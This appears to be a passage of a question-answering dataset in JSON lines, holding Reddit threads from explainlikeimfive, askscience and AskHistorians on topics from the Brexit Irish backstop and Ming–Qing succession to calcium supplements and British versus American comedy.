(kinda like how America is a continent with 3 separate countries on it: Canada, USA, Mexico)\n\nNorthern Ireland is part of the United Kingdom (along with England, Scotland and Wales.)   Republic of Ireland is **not** part of the UK.  In the past, this has meant that there was a hard border down the middle of the island of Ireland (not really the middle, more the north eastern bit, but I digress), between the countries of Republic of Ireland and Northern Ireland.\n\nBackstory part 2:  there are a lot of very angry people on Ireland and we really don't have time to get into all of the reasons why they were angry, or whether or not the anger was justified... but you can read all about it [here](_URL_1_).  The super short version is that the hard border across Ireland was the target of that anger, and received **a lot** of violence.\n\nQuick semantics interjection:  Hard/soft border.  I'm going to talk about this a lot, so FYI:  a hard border is one with checkpoints and guards and customs and all of that type of thing.  Traveling from the USA to Canada is a hard border.  A soft border is one without any of that.  The border between California and Nevada is a soft border.  The border still exists, and there are laws governing what you can and cannot take across state lines, but no one is going to stop you or check anything.   Okay, moving on.\n\nBackstory part 3:  The European Union (EU) came along, and both the Republic of Ireland and the UK (to include Northern Ireland) joined the EU.  This meant that while they were still separate countries, they were in the same union, with import/export laws that allowed for a soft border.  People could freely travel between the two countries on Ireland without a hard border across the island.  The lack of a hard border (along with some [political agreements](_URL_0_)) basically eliminated the violence that had been plaguing Ireland for many many years.\n\nSo that brings us to today.  You've probably heard about Brexit, and you can probably see where this is going.  Brexit is actually United-Kingdom-exit, which means that all of the UK (to include Northern Ireland) will be dropping out of the EU.  And if Northern Ireland drops out of the EU, there will need to be a hard border across Ireland again.\n\nA hard border across Ireland is a bad bad bad bad plan.  Everyone pretty much universally agrees on this.  No hard border across Ireland, no how, no way.  There will absolutely be murders if a hard border is reinstated. But if Brexit happens, people moving between Northern Ireland and Republic of Ireland will be crossing between different countries with different import/export laws, so there has to be inspections and customs and passport stamps and all of the normal \"traveling between different countries\" stuff has to happen somewhere.\n\nEnter: **the backstop**.  The backstop is an imaginary line drawn between Northern Ireland and the rest of the UK.  Anyone going to Northern Ireland and/or the Republic of Ireland would undergo all of the necessary import/export process before ever getting to the island, or at the very first port of entry as soon as you land.  This way, people are free to move between Northern Ireland and Republic of Ireland without that hard border or any checkpoints on the island itself.\n\nThe benefit of the backstop is clear, it prevents a hard border from being necessary on Ireland.  On the downside however, it creates a hard border *within* the United Kingdom.  A member of the UK in England, Scotland or Wales should be able to travel to Northern Ireland in the same manner that someone from, say, Texas travels to Hawaii.  Sure it's a plane ride, but there's no customs checkpoints or anything like that.  And this problem gets even worse for businesses.  Shipping food or medicine or whatever else over to Northern Ireland will require all of the paperwork and drudgery of shipping those items between separate countries, because it would have to cross the backstop.\n\nAnd further, UK politicians fear that this backstop will be the first step towards Northern Ireland leaving the United Kingdom and reuniting with Republic of Ireland.  Meanwhile Scotland has also been long debating the prospect of leaving the United Kingdom and becoming their own independent country (Scotland voted overwhelmingly to Stay in the EU and not Brexit) ... so the backstop is not only seen as the first step towards losing Northern Ireland, but that may very well prompt Scotland to leave, and the UK will be down to just England and Wales.\n\n\nIf you'd like to know more, I highly recommend CGP Grey's videos on the subject.  [Here's one](_URL_2_), and there are several others."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Brexit_and_the_Irish_border#Backstop_proposal", "https://en.wikipedia.org/wiki/Brexit\\_and\\_the\\_Irish\\_border#Backstop\\_proposal"], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Good_Friday_Agreement", "https://en.wikipedia.org/wiki/The_Troubles", "https://www.youtube.com/watch?v=J1Yv24cM2os"]]}
{"q_id": "wkrgw", "title": "topology", "selftext": "EDIT: Mathematical topology ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/wkrgw/eli5_topology/", "answers": {"a_id": ["c5e7z5x", "c5e9w61", "c5eacey"], "score": [4, 2, 2], "text": ["I'm not sure which 'topology' you're speaking about, but here's the mathematical topology:\n\nTopology is the area of mathematics that's concerned with continuous transformations of objects. By continuous I mean that, roughly, we're allowed to stretch and deform the object, but without tearing it apart, punching holes through it or creating sharp creases. This kind of transformations say a bunch of stuff about each object's local and global shape (for instance, we can know the amount of holes it has if we can find a continuous transformation that transforms the object into one that we already know has, say, x holes, since this kind of maps preserves them).", "This is definitely worth watching if you want to \"feel\" topology:\n\n[How to turn a sphere outside-in](_URL_1_)\n\nA book: [Topology without tears](_URL_0_).", "Topology is interested in using special functions to test for and characterize how points are related to their \"neighbors\". These functions are called Continuous functions. \n\n\"Neighbor\" in this context is pretty abstract, but essentially there are specially labeled sets (called OPEN sets) and your closest \"neighbors\" are points that follow you around in the sense when you are in an OPEN set, them are usually in there too.\n\nWhat happens now is a continuous function that effects you will ALWAYS effect some of your closest neighbors in a similar fashion.  This provides a test to see if a function is continuous, if a function effects you but none of your neighbors then the function is not continuous.\n\nThat is basically it, topology is the use of continuous functions to study/characterize the behavior of neighboring points (where \"neighbor\" is subject to exactly which sets are labeled OPEN.) \n\nMany times these continuous functions look like stretching and bending but not tearing or ripping or cutting. When you pull on a point it has to pull on the closest \"neighbors\" too in order to be continuous."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.topologywithouttears.net/topbook.pdf", "http://www.youtube.com/watch?v=wO61D9x6lNY"], []]}
{"q_id": "maycg", "title": "Can a person die from spinning too much?", "selftext": "Let's say a person is strapped onto a tire-swing or something that can spin. If he or she is spun at a high speed for a long period of time (say 5 hours), is it possible for that person to die? What would he or she die of?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/maycg/can_a_person_die_from_spinning_too_much/", "answers": {"a_id": ["c2zhnch", "c2zhu7h", "c2zhnch", "c2zhu7h"], "score": [8, 5, 8, 5], "text": ["[This should provide some insight](_URL_0_).\n\nJust skimming it I see rats survived 40 days in a centrifuge with no lasting effect.", "If the speed's high enough, the G-forces can cause hypoxia.", "[This should provide some insight](_URL_0_).\n\nJust skimming it I see rats survived 40 days in a centrifuge with no lasting effect.", "If the speed's high enough, the G-forces can cause hypoxia."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://jap.physiology.org/content/95/3/1266.full"], [], ["http://jap.physiology.org/content/95/3/1266.full"], []]}
{"q_id": "3h3tf5", "title": "what's the deal with goofy-looking bowling shoes? why can't they just look like regular shoes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h3tf5/eli5_whats_the_deal_with_goofylooking_bowling/", "answers": {"a_id": ["cu43628", "cu46m1t"], "score": [115, 10], "text": ["IIRC, it's to prevent theft. They are ugly so no one will want to steal them, and readily identifiable so if someone does steal them, everyone will know they are a thief.\n\nAnd at one point many small towns only had one bowling alley, so if anyone wore those shoes, it was apparent where they had been stolen.", "Additionally why can't i just wear my regular shoes in a bowling alley?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2a720s", "title": "why is it that you need a permission slip to watch r-rated movies in high school, but can be assigned to read books like a thousand acres in english class without anyone batting an eye?", "selftext": "I noticed back when I was in high school that parents and the administration were much more hesitant to show movies or play music that contained swear words or sexuality, but endorsed literature with the exact same themes.\n\nWe were once required to read *V for Vendetta * and *1984* for a 21^st century lit class [don't ask me why *1984* was \"21^st century,\" I couldn't tell you] and then write an essay comparing Orwell's and Moore's dystopias. That essay was the final assignment for seniors before they left, and after that we didn't have much else to do other that watch the movies, both of which required permission slips unless you wanted to do an extra assignment while everyone else watched the movie.\n\nI don't get it. Why does literature get a pass from censorship? Not that I'm for censorship of anything at all, but what makes books less scandalous to adults?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2a720s/eli5_why_is_it_that_you_need_a_permission_slip_to/", "answers": {"a_id": ["cis4h9s", "cis4tob", "cis6wm3", "cis90yl", "cis9bh8", "cisa5ka"], "score": [4, 12, 3, 3, 2, 2], "text": ["Concerned parents, mainly mothers.  The same reason why WalMart sells romance novels that depict things Hustler wouldn't show but Maxim is banned.", "Because an official ratings systems for movies exists but it doesn't for books. This makes it easier for adults to get their panties in a twist over 16 year-olds seeing R-rated movies than it does when the same kids are reading books.\n\nSee also: literature vs. pop culture.", "If you're smart enough to pick up a book and read it, then I think you deserve to know what's in that book.", "When I was in High School I wrote a paper on 'homoerotic themes in mobydick' I had to get permission from the principal, I just liked the shock value.", "A school board is voted in by parents.  The school board approves media; mostly books.\n\nA teacher needs to get permission from the source: parents.", "I'm speculating, but here's my take.\n\nFilm is regulated (read: censored) by a pseudo-governmental rating board.  So an R-rated movie has a government approved stamp on it saying under 17 can't watch w/o parental permission. In that sense, its loosely similar to how schools (mine at least) keep a \"tylenol waiver\" on file in order for the nurse to give kids drugs (basic OTC stuff, tylenol and such) because a medical practitioner can't treat a minor w/o parental consent.\n\nLiterature on the other hand, has no official \"rating\".\n\nAlso, R-rated movies (may) show boobs and alcohol and drugs.  Books may reference such things, but you don't actually see a naked prostitute, drunk off her ass, shooting up meth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "xy003", "title": "Can someone illuminate me on the subject of calcium supplements? Are they worth it?", "selftext": "I've read sources saying they are really good for bone density and people should take them. Then other sources that say they just pass right through the body. Still other sources say they're linked to cancer and can actually be detrimental. Does anyone know where I can find a reputable resource on this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xy003/can_someone_illuminate_me_on_the_subject_of/", "answers": {"a_id": ["c5qm0u6", "c5qm70g"], "score": [2, 2], "text": ["_URL_0_\n\n > Rohrmann and her team followed nearly 24,000 men and women for 11 years. Those who took calcium supplements had an 86% increased risk of heart attack compared to those who used no supplements.\n\n > However, the actual number of heart attacks during the follow-up period was small, with 354 recorded.\n\n > The researchers found a link, or association, between calcium supplements and heart attack, but the study cannot show cause and effect.\n\nThe increased risk of heart attack is moderate according to the study. Speculation suggests that taking a massive dose of calcium may make it more apt to deposit in arteries and cause arterial disease. Have you considered getting calcium supplementation from diet? Such as leafy green vegetables and dairy products?", "[WebMD, \"Understanding Calcium Supplements\".](_URL_0_)\n\n[Medline, \"Calcium Supplements\".](_URL_1_)\n\n[Mayo Clinic, \"Calcium Supplements\".](_URL_3_)\n\n[\"...Studies have examined whether calcium supplements or diets high in calcium might lower the risks of developing cancer of the colon or rectum or increase the risk of prostate cancer. The research to date provides no clear answers. Given that cancer develops over many years, longer term studies are needed...\"](_URL_2_)\n\nThose cites are all as mainstream as it gets; note that none of them are saying, \"Calcium pills pass right through your body, so it's a waste to even take them.\"  It is true that calcium can only be absorbed by your body in ~500 mg increments, so if you take two big horse pills, you're wasting half of it.\n\nPersonal anecdote: I chew mine up and take them with orange juice, since Vitamin C enhances calcium uptake,  and I know that *something* is being absorbed because if I don't take them, I get leg cramps. -- post-menopausal female. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.webmd.com/heart/news/20120523/calcium-supplements-may-raise-heart-attack-risk"], ["http://www.webmd.com/osteoporosis/features/calcium-supplements-pills", "http://www.nlm.nih.gov/medlineplus/ency/article/007477.htm", "http://ods.od.nih.gov/factsheets/Calcium-QuickFacts/", "http://www.mayoclinic.com/health/calcium-supplements/MY01540/"]]}
{"q_id": "4jybcy", "title": "How did succession work in the Ming and Qing dynasties? (In theory and in practice!)", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4jybcy/how_did_succession_work_in_the_ming_and_qing/", "answers": {"a_id": ["d3aztzw"], "score": [5], "text": ["Well in theory, Chinese dynasties typically followed what is known as the \u5ae1\u9577\u5b50\u7e7c\u627f\u5236\u5ea6 - male primogeniture. To give a little background, before the establishment of the Xia under Yu, all property was public and all leaders were elected. According to the *Liji*: [\u5929\u4e0b\u70ba\u516c\uff0c\u9078\u8ce2\u8207\u80fd] - \"All under Heaven is public, choose [those] who are worthy and capable.\" Yu was the first to transfer power to his son, thus beginning the rule of families (\u5bb6\u5929\u4e0b). During the Shang, there was no clear rule on succession, and you will find that often times, younger brothers succeeded older brothers and there was a lot of strife over who should succeed. But toward the late Shang, distinctions began to made from the \"eldest son born to principle wife\" (\u5ae1\u9577\u5b50\uff09and \"common sons\" (\u5eb6\u5b50) - those born to concubines. It's worth noting that an eldest son born to principle wife \u5ae1\u5b50 is not always an eldest son \u9577\u5b50. The *Shiji* notes that King Zhou of Shang Di Yi was born to his father's principles wife, but he had an older brother who was a \"common son,\u201d so Di Yi ended up becoming King even though he was not the oldest son. In other words, \u5ae1\u5b50 had to be born to the principle wife and always had precedence over his older brothers.\n\nBy the Zhou, succession from father to son was fully implemented and later codified into the Confucian classics. This was done for two reasons - one, to learn from the mistakes of the Shang and two, to solidify the Zhou royal family's control. From the Zhou on, it became standard (at least in theory) to pass the throne to the oldest son of the empress. However, as history would show, this was not always the case. Indeed, the question of \"to set up [as Crown Prince] the eldest or the most worthy\" (\u7acb\u9577\u7acb\u8ce2) was always an issue which was a cause of concern for emperors. Emperor Wu of Han himself was the tenth son of Emperor Jing, born to a commoner who was a concubine. The first emperor of Tang Li Yuan was plagued by the issue of succession - he made his eldest son Li Jiancheng as Crown Prince because it followed Confucian protocol but he also wanted to make his second son Li Shimin, who contributed most to the Tang's founding, Crown Prince. In the end, Li Shimin killed his older brother during the Xuanwu Gate Incident and seized power, becoming Emperor Taizong of Tang. Taizong's successor Gaozong was likewise not the eldest child (though he was born to Empress Zhangsun).\n\nNow the Ming and Qing is interesting because prior to the Ming, there was never any rules regarding the issue of succession. Zhu Yuanzhang was the first to implement such regulations. In his *Instructions of the Ancestor of the August Ming* (\u7687\u660e\u7956\u8a13), Zhu Yuanzhang wrote: [\u51e1\u671d\u5ef7\u7121\u7687\u5b50\uff0c\u5fc5\u5144\u7d42\u5f1f\u53ca\uff0c\u9808\u7acb\u5ae1\u6bcd\u6240\u751f\u8005\u3002\u5eb6\u6bcd\u6240\u751f\uff0c\u96d6\u9577\u4e0d\u5f97\u7acb] - \"If the court has no princes, then the younger brother will surely [attempt to] succeed the oldest brother, so the son of the principle wife must be installed [as Crown Prince]. A son of a concubine, even if he is the eldest, shall not be installed.\" Under this principle, Zhu Yuanzhang passed over his other sons when his first Crown Prince Zhu Biao died and installed Zhu Biao's son (his grandson), as the next Crown Prince. He is Zhu Yunwen, or the Jianwen emperor, who was overthrown by his uncle Zhu Di. The Ming practiced male primogeniture, though there were instances where the emperor wanted to break convention. The Wanli emperor wanted to set up his son by his favorite concubine as Crown Prince, but the court unanimously opposed him and in a fit of rage, the emperor retired to the palace and refused to attend court for the next two decades.\n\nThe Qing was ruled by the Manchus, a semi-nomadic group from the northeast, so they didn't really follow the Chinese convention of successsion. Nurhaci's successor Hong Taiji was his eighth son. When Hong Taiji died without naming an heir, his brothers all started vying for the throne. A committe of Manchu princes chose his ninth son, Fulin, as emperor with Dorgon as regent. When Fulin (now the Shunzhi emperor) died of smallpox in 1661, his third son Xuanye was chosen to succeed him as the Kangxi emperor (possibly because he had already survived smallpox). Kangxi did appoint his son by his empress Yinreng as Crown Prince following Chinese customs, but subsequent events led to him stripping Yinreng of his position as Crown Prince. Kangxi's later reign was plagued by his sons vying for power, so the emperor announced that he would not publicly name another successor and placed his will inside a box behind the plaque in the Palace of Heavenly Purity, which was to be opened after his death. His successor was his fourth son, who is Emperor Yongzheng. To prevent strife over succession that he himself had faced, Yongzheng devised a new system where two scrolls containing the successor's name would be kept in two places. When the emperor died, the scrolls would be opened and if the names were identical, then that person would become emperor. From that point on, the Qing never installed a Crown Prince again and all successors were chosen after the emperor's death (with the exception of the Jiaqing emperor, because his father Qianlong abdicated)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22wmoa", "title": "what happens if a sports team suffers so many injuries they can't field a team?", "selftext": "Do they just play anyway, forfeit or do something else? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22wmoa/eli5_what_happens_if_a_sports_team_suffers_so/", "answers": {"a_id": ["cgr3rg1", "cgr4uxo"], "score": [3, 2], "text": ["What sport? Different sports have different rules regarding the same issue.", "Most large professional sports teams, at least in the US, would just bring in some players from AAA, minor league, etc. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5l6w04", "title": "What is the physics/chemistry behind why two glass sheets with a thin layer of water in between require a lot of force to separate?", "selftext": "I know the basics behind the pressure difference, a bit about van der waal forces but don't quite understand how it really works. Can someone explain in some detail what the physics/chemistry is behind this. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5l6w04/what_is_the_physicschemistry_behind_why_two_glass/", "answers": {"a_id": ["dbtnvym"], "score": [3], "text": ["This phenomenon occurs at length scales where curved liquid surfaces are formed. This is why it occurs in capillaries e.g. between very close glass slides, or even sand, and not between two glass slides separated by a larger amount of water.\n\n\nThe adhesion of the water to the glass slides, due to the balancing of the three interfacial tensions, creates a curved water-air interface, a meniscus. There exists a pressure difference, \u0394P, across the interface. A hand wavy rationalisation is that the molecules at the surface feel a net attraction into the bulk of the fluid and so 'push' themselves into the bulk.\n\n\nMore thoroughly, the meniscus is at equilibrium and so all forces on the system must cancel. For a [concave water surface](_URL_0_), the interfacial tension acts vertically, as shown in the image. For the equilibrium to hold, this force must therefore be cancelled by a \u0394P across the interface. From this you can very simply derive the Young\u2013Laplace equation which gives \u0394P dependence on curvature.\n\n\nWhy does this make pulling the slides apart really difficult? Well essentially there's a pressure difference from inside the middle of the slides to the outside air. The outside air is pushing the slides back together as we try to pull them apart. You can also think of the water-air interface as trying to reduce it's area and so the water will oppose us pulling the slides apart.\n\n\nTo further cement this understanding, it's really interesting to note that mercury has the opposite effect. It is very hard to squeeze mercury between two glass slides and the glass slides don't adhere to one another at all. Mercury forms a convex liquid surface, due to it's very high surface tension/ high glass interfacial tension, and so an opposite \u0394P is created compared to the water case."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://web.mst.edu/~numbere/cp/CHAPTER%203_files/image094.gif"]]}
{"q_id": "11zvpp", "title": "How did capitalism influence British nationalism during the 19th century? Did it make Britain stronger or weaker as a nation?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11zvpp/how_did_capitalism_influence_british_nationalism/", "answers": {"a_id": ["c6qzby1"], "score": [2], "text": ["What exactly do you mean by this?\n\nCapitalism in the sense of private investment and ownership of resources? That, surely, was 100% instrumental in turning Britain in to an Empire. The Empire generally speaking followed its merchants, not the other way around. No private enterprise would have meant no interest in Hong Kong, no Cecil Rhodes etc.\n\nSince that seems such an obvious thing, I have to wonder if you're looking for something deeper here. Please advice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16v4hg", "title": "why are british and american comedies different?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16v4hg/why_are_british_and_american_comedies_different/", "answers": {"a_id": ["c7zork7", "c7zozsp", "c7zp01n", "c7zq786", "c7zqq1v", "c7zqthd", "c7zrpoy", "c7zslz1"], "score": [82, 116, 435, 2, 2, 2, 3, 2], "text": ["Let's thank our dear old friend, Stephen for this wonderful [answer](_URL_0_) in video form.", "This is a good question and partly answered by simply saying, \"different countries, different cultural cues, different senses of humour\". But there's more to it. And here I shall talk about situation comedies, mainly.\n\nAmerica has a strong history of writer/performers, whereas Britain went down the route of having small, backroom writing teams - most often duos. The US writer/performer route leads to strong character-based comedy as you have a main character who dominates the show. So traditionally US shows have a strong element of stand-up.\n\nThe Brits went down a different route - it was more about silly situations, awkwardnesses, thwarted plans, embarrassment and class friction. (all things we Brits all understand well, sigh). The small writing partnerships were also usually, middle-aged and always men. They wrote for people like them, so sitcoms were cosy, middle-class, slightly cheeky and utterly unthreatening. Many were greenlit/produced by that most staid of corporations, the BBC, remember. Sadly, we as a nation were not averse to sniggering at racist 'humour' and sexual goings on (or smut, as it was known).\n\nOf course, Monty Python etc. was a step outside this norm, but looked at carefully, it's still a class-bound, slightly formulaic attempt at surrealism, much as I love it.\n\nThen, sometime around the 80s, American networks upped the already existent cut-throat ratings-chasing war. Comedies had to be damn funny - from the off. Writers' Rooms, where lots of young, funny, smart people would collaborate on scripts and jokes, were the norm. Not a second of air-time was wasted. Jokes flew thick and fast and some great, clever, consistently funny sitcoms were born. Also, the large-scale collaboration of many means that people can leave or join and the show can run for far longer than most UK sitcoms. The Simpsons, for example.\n\nIn the UK, we still stuck to the small team approach, usually two or even one person. This leads to diversity in terms of ideas (we have had sitcoms based in space, prison, various periods in history, etc.) but our humour didn't often have the rapid jokes-per-minute slickness of the typical American output. In addition, we Brits have a thing for the underdog. No-one rich, successful or powerful is ever happy for long in British comedy.\n\nMuch of this is still true. I can think of only one UK sitcom, My Family, which uses the Writers' Room approach, and it feels very American to us Brits. (Its success shows this to be no bad thing). It does still adhere to the British love of the awkward situation rather than the American predilection for fast, smart wordplay, witty comebacks and all.\n\nHey, this answer really needs a tl;dr and face it, that's all you're going to read...\n\ntl;dr American comedies are more about verbal dexterity within recognisable, if exaggerated social situations. They're often written by lots of people. British comedies are more about our fears of embarrassment and awkwardness, and we're more likely to enjoy watching losers and idiots.\n\nThat tl;dr was too long?\n\ntl;dr Americans love great wordplay and funny, smart characters. Brits love mess, failure, embarrassment and funny, daft characters.", "British humour is very much aimed at making people cringe. It looks at the deeply woven social fabric and finds loose threads or inconsistencies. Then it tugs at those threads to see what would happen, it all its glorious embarrassment. We laugh because we've all trodden that minefield, we've all made those fuck-ups, and by watching the pratfalls and faux pas we can relate to those tragi-comic moments of our own lives and our own failings.\n\nIn contrast, Americans are almost utterly incapable of self-deprecation. There's no element of introspection that says \"look at us - we act like dicks and losers all the time and never do anything about it\". Instead, it's about oneupmanship - the idea that any man can walk into a scenario and conquer it with his comedy. It's an open rejection of intellect, or industry, or social grace - the man who deliver the scathing comeback will always best the engineer or the businessman or the aristocrat. In that way, comedy gives the little guy, the working Joe, something to relate to.\n\nThe British comic is the Lovable Loser; the American is the Defeater of Losers.\n\nAs to *why* - I'll get downvoted to hell for saying it, but America has an identity complex. All of this posturing and patriotism and oneupmanship is still very much the hallmark of a young nation that hasn't grown into its skin yet - hasn't come to terms with its wrinkles and battle scars and beer belly. It's still the young buck proudly swaggering, offering the handshake and pulling it back at the last minute to thumb its nose at the unsuspecting victim. There's always a fall guy, and it sure as hell ain't America. Britain, on the other hand, has fallen into disgraceful old age and is more than comfortable being the butt of the joke if it means everyone else gets to have a good time.\n\nIn terms of language skills I don't think it's fair to say that the Americans are blunter or the English wittier - both sides have their share of clever comedians as well as lowest-common-denominator hacks. But I do see the Americans resorting to brute force (sarcasm and shouting) a lot more than the Brits, letting the volume of their voice and the strength of their swears compensate for not having anything clever to say.\n\n", "ITT: Americans getting mad.", "\"they're not made by the same people\"", "They both funny.\n", "My answers are TV based, and focus more on concrete reasons instead of conceptual:\n\n1. Quality vs Quantity. My favorite comedy tv of all time is Fawlty Towers, and only 2 seasons (12 episodes?) were made. A season of American TV is more like ~28 episodes a season, and the successful ones are run 6+ seasons. The writers just run out of ideas and fall back on easy tropes and forced laughs to poor jokes via laugh track.\n\n2. Dark Humor. Most of the British TV that Americans are fans of seem to be darker than you would find over here. Shows like Black Books,  Marion  &  Geoff, Human Remains, Monkey Dust, Darkplace, etc go to places that American TV will not because it will upset advertisers or red states. Plenty of Americans love these shows, but in reality they would not work for most couch potatoes here.\n\n3. Network Interference. TV is run more like a business here than in the UK. I'm sure that is a generalization, but some really wonderful stuff shows up in the UK that would never be aired here because network heads would not understand them. The UK networks seem (to an outsider) to be more willing to take a chance on an artistic vision and interferes less with the product.\n\nAnyone who is interested in this question should watch the show \"Episodes\" which is about a British husband and wife writing team who win a BAFTA and are hired by a US network to adapt the show for an American audience and are forced to cast Matt LeBlanc in a role meant for an old british headmaster.\n", "Comedy varies all over. Even Scottish comedy is distinct, it's very abrasive compared to English comedy - see Billy Connolly, Frankie Boyle. Even \"darker\" English comedians like Jimmy Carr have a very mild manner about them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/8k2AbqTBxao"], [], [], [], [], [], [], []]}
{"q_id": "5ga29m", "title": "Has there ever been a primarily nocturnal civilization?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ga29m/has_there_ever_been_a_primarily_nocturnal/", "answers": {"a_id": ["daqvkg2", "dar3y98"], "score": [524, 790], "text": ["You may want to try /r/AskAnthropology", "As a side-question, is the concept of a \"night-life\" where various businesses (clubs, bars, etc.) are primarily open in the night a fairly new concept brought about by the discovery of electricity (and therefore electric ligthing), or have cultures in the past also had businesses (bars, taverns, etc.) that were open primarily in the middle of the night?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3dsqmb", "title": "why can't we use all the excess skin from people with extreme weight loss to treat burn victims?", "selftext": "With the technology surrounding grafting, why can't we take the huge amounts of skin that come from the formally obese and graft them to victims that have suffered severe burns? If skin 'typing' is an issue, it seems we could setup a global exchange - there is demand on both ends it would seem?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dsqmb/eli5_why_cant_we_use_all_the_excess_skin_from/", "answers": {"a_id": ["ct89s33", "ct89tve", "ct89uma"], "score": [19, 3, 5], "text": ["Your cells have specific proteins on their membranes that serve as markers for your immune system to differentiate self from non-self. These proteins can vary from person to person, although they serve the same function.\n\nThe reason you typically graft skin from yourself is that the skin will not be rejected by your immune system, where as if you used someone else's there's a very likely chance it will be rejected and cause an immune response.", "Skin is an organ. Grafting another person's skin onto a burn victim would probably cause many complications similar to organ rejection.", "Skin is your largest organ.  So the same reason getting a liver transplant is so hard.  It would have to be a perfect match for you or your body would reject it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "16uzov", "title": "what the small bumps that are always on my arms. they start right about where short sleeve stops and end at my elbow. more info in text.", "selftext": "They are little bumps that are always on my arms, visible and raised, you can feel them if you rub your hand on my arm. They start about where my short sleeve ends, and end about where my elbow is. They  are sometimes red and look as if I have a rash. When squeezed a white hard substance comes out of them, kind of like a zit but it's not acne. Doctor says it is because I have small pores, and that he has/had it too. Alot of people I ask say that they had it and it went away. I am 18 and it is more annoying than anything else because it looks like I have a rash all the time. Its only on my biceps and triceps and is mainly on the back side of my arms. \n\nDoes anybody else have this, if so how long did it last, how did you get rid of it, what causes it?\n\n**TL;DR** What are the small raised bumps, that when squeezed a white hard substance comes out, look red sometimes almost like I have a rash, mainly on the back side of my arms, Doctor said it is because I have small pores.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16uzov/eli5_what_the_small_bumps_that_are_always_on_my/", "answers": {"a_id": ["c7zlh4g", "c7zmgus"], "score": [15, 3], "text": ["It is probably (I am not a doctor/dermatologist) a very common skin condition called [Keratosis Pilaris. ](_URL_0_)\n\nThe best treatment is diligent exfoliation and moisturizing. I like a sugar+oil scrub in the shower. ", "Sorry to kind of hijack your topic, but I have something very similar, but instead of many very small bumps, I have a single noticeable bump on my elbow. It also has a white hard subtance inside, but is not red. Sometimes it goes away, and then comes back a few days later. Sometimes other small ones grow but then disappear.\n\n\nAnyone knows that it is?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Keratosis_pilaris"], []]}
{"q_id": "2ji82d", "title": "why does apple need so many employees ?", "selftext": "Total number of staff 98,000 (Wikipedia)\n425 stores (Wikipedia)\n108.7 per store (2012 Annual report)\nRemaining 51,802.5\n\nComparison companies \nMicrosoft 128,076\nOracle 122,458\n\nAs I understand it Apple has a far smaller product line than Microsoft or Oracle but has a comparatively larger employee base.\n\nFor example.\nSmall presence in corporate world\nNo on-site support / service engineers\nSmall IT services division\nSmall Product line\n\n \n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ji82d/eli5why_does_apple_need_so_many_employees/", "answers": {"a_id": ["clc1gm8"], "score": [3], "text": ["Apple makes it's money primarily on hardware margins and secondarily online app/music from end users.  So it's staff is mostly a large engineering team to meticulously engineer the whole ecosystem to be *very* cohesive, and a retail team to maintain it's stellar reputation in customer service.\n\nMicrosoft makes its money first and foremost from software margins in high-volume shrink-wrapped sold to mostly to enterprises (Office, MSSQL, Windows support) and home users as an afterthought. It dabbles in *a lot* of other areas (online search,  gaming, mobile devices, etc) in support of that with the increase in competition from Google/Apple... but these are still kind of experiments for them.  In the end it's a company designed to produce a lot of shrink-wrapped software and let vendors sell  &  support it for them.    \n\nOracle is an enterprise software company.  It buys up niche enterprise products once they gain a foothold in industries, but generally doesn't invest a ton in innovating / improving them.  Yeah, they sell those software licenses - but a lot of their money is made in consulting services for deploying / integrating / customizing all of that stuff in really complex environments.  Low volume but high dollar software/services.  They tend to employ minimal R & D (in comparison, anyways) and a ton of consultants.\n\nSo in a way, you're really comparing apples (heh) to oranges.  You have to think about who they sell to and how, not just lump them together as \"large software companies\".\n\nApple and Oracle are really polar opposites in how they operate.  Microsoft is somewhere in the middle and struggling a little bit in picking its battles (vs. Apple/Oracle/Google) these days after enjoying it's run in the 90's as an undisputed monopoly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
